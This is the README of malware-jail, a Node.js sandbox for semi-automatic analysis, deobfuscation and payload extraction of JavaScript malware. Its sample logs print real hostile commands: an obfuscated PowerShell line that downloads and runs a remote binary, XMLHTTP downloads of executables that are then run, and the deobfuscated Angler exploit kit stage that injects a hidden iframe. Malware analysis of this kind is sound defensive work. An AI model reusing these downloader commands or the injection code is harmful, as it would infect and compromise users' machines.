Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. Written for Node.js
Switch branches/tags
Nothing to show
Clone or download

README.md

malware-jail

Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. Written for Node.js

malware-jail is written for Node's 'vm' sandbox. Currently implements WScript (Windows Scripting Host) context env/wscript.js, at least the part frequently used by malware. Internet browser context is partialy implemented env/browser.js.

Runs on any operating system. Developed and tested on Linux, Node.js v6.6.0.

Due to use of some ES6 features, you'll need Node.js >= 6.x.

See EXAMPLES for malware samples analyzed.

If you have new malware samples, please submit them to javascript-malware-collection, either via issue or pull request.

New features

Version 0.19

Enumerates WMI queries into a file: wmis.json

Version 0.17

Added new parameter:

--t404 - http requests always return HTTP/404 and throws an exception. This enables enumerating of all remote URLs.

Version 0.16

Urls are now saved to urls.json. See latest EXAMPLES#malware-of-issue-14.

Various bug fixes and improvments.

Version 0.14

Various bug fixes and improvments.

Version 0.13

Added new parameters:

-t msecs - limits execution time by "msecs" miliseconds, by default 60 seconds.
--h404 - http requests always return HTTP/404 and does not throw an exception. This enables enumerating of all remote URLs.

Installing

You'll need Node.js and npm installed.

malware-jail is built on top of minimist, iconv-lite and entities.

Pull from GitHub

Pull the source with git:

git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Then install all the dependecies (minimist, entities, iconv-lite) with:

npm install

NPM Package

Not yet available, comming soon ...

Warning

Be careful when working with a real malware. A malware, which is aware of this sandbox, may try to escape and harm your PC. It's recommended you run it either from an unpriviledged Linux account or from within virtualized Windows machine. Angler files in the malware folder are NOT disarmed.

Usage

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - mailware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use alternative config file, preceed with ./
7 May 20:54:52 -        -e ifile ... js that simulates specific environment
7 May 20:54:52 -        -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 -        -s odir  ... output directory for generated files (malware payload)
7 May 20:54:52 -        -b id    ... browser type, use -b list for possible values
7 May 20:54:52 -        -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 -        --trace  ... print stack trace with every log line
7 May 20:54:52 -        --down   ... allow downloading malware payloads from remote servers
7 May 20:54:52 -        --h404   ... on download return always HTTP/404
7 May 20:54:52 -        malware  ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

In the examples folder you may find a deactivated malware file. Run the analysis with:

node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Internet browser based malware you may test with

node jailme.js -b IE11_W10 malware/example_browser.js

At the end of the analysis the complete sandbox context is dumped into a 'sandbox_dump_after.json' file.

You may want to examine following entries of 'sandbox_dump_after.json':

  • eval_calls - array of all eval() calls arguments. Useful if eval() is used for deobfucation.
  • wscript_saved_files - content of all files that the malware attempted to drop. The actual files are saved into the output/ directory too.
  • wscript_urls - all URLs that the malware intended to GET or POST.
  • wscript_objects - WScript or ActiveX objects created.

'sandbox_dump_after.json' uses JSONPath, implemented by JSON-js/cycle.js, to save duplicated or cyclic references to a same object.

Sample output

bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 -  => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 -  => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 -  => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been  saved to: sandbox_dump_after.json

In the above example the payload has been extracted into output/_TEMP__49629482.dll and output/_TEMP__38611354.pdf

Examples

The malware folder contains real-world malware samples. Most of them downloaded from https://malwr.com.

Please see EXAMPLES for complete index of malware samples.

Example: Analysing Wileen.js

Taking malicious script from malwr.com: Wileen.js

Apparently the malware does not execute if run from within a browser:

if (typeof document == "undefined") {

Therefore you may want to use an alternate config filem which does not load browser/DOM components:

node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 

Interesting use of Powershell:

1 Oct 13:05:34 -  => Executing: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Created: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Cleaning up sandbox.
1 Oct 13:05:34 - ==> Script execution finished, dumping sandbox environment to a file.
1 Oct 13:05:34 - The sandbox context has been  saved to: sandbox_dump_after.json

Log file: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out

Example: Analysing ORDER-10455.js

Taking malicious JavaScript from malwr.com: ORDER-10455.js

First run without interaction with remote servers:

node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

you get something like:

... 
29 Sep 23:17:21 - Calling eval() no.: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Created: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Not sending data, if you want to interact with remote server, set --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finished
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] created.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Created: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Created: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Returning: 'undefined'
29 Sep 23:17:21 - ==> Cleaning up sandbox.
29 Sep 23:17:21 - ==> Script execution finished, dumping sandbox environment to a file.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - Saving: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - Generated file saved
29 Sep 23:17:21 - The sandbox context has been  saved to: sandbox_dump_after.json

Seems to be a "standard" behaviour of deobfuscation in order to finally download an exe binary and execute it.

If we want to get the real payload, run it with '--down=y':

 node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out 

Log file: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

Example: Analysing Norri.js

Taking malicious JavaScript from malwr.com: Norri.js

Run:

node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js

you get:

30 Sep 01:02:11 -  => Executing: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Calling eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Created: WshShortcut[10](Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] created.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Created: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Created: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finished
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Cleaning up sandbox.
30 Sep 01:02:15 - ==> Script execution finished, dumping sandbox environment to a file.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:16 - Saving: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Generated file saved
30 Sep 01:02:16 - The sandbox context has been  saved to: sandbox_dump_after.json

Behaviour is obvious from the log. Payload has been extracted into the output/TemporaryFolder_TempFile[15] file.

Log file: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out

Example: Analysing Angler EK

Download and extract Angler EK from a pcap file at ANGLER EK SENDS CRYPTOWALL into a malware/angler/angler_full.html.

Strip the non Angler part and save as malware/angler/angler_stripped.html.

Remove <script> tags and convert required <div> tags into:

document._addElementById(id, content);

and save as malware/angler/angler.js.

Run the analysis:

node jailme.js malware/angler/angler.js

Eventually capture the output into angler_output.txt:

node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt

Deobfuscating the final stage:

function() {
    if (document.body != null && typeof document.body != "undefined") {
        clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV);
        if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") {
            window["v_bcd50d9482665cd4e129a272c76799e6"] = 1;
            var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR());
            var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc.";
            var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1;
            var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F";
            if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) {
                if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
                    location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS)
                } else {
                    window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS;
                    document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS
                }
            } else {
                if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) {
                    var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style=\"position:absolute;left:-2808px;\"><iframe width=\"27px\" src=\"" + NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS + "\" height=\"27px\"></iframe></div>";
                    var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div");
                    if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) {
                        document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw
                    } else {
                        var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length;
                        var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2));
                        wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw
                    }
                }
            }
        }
        OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK()
    }
}

License

The MIT License (MIT)

Copyright (c) 2016 Hynek Petrak

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.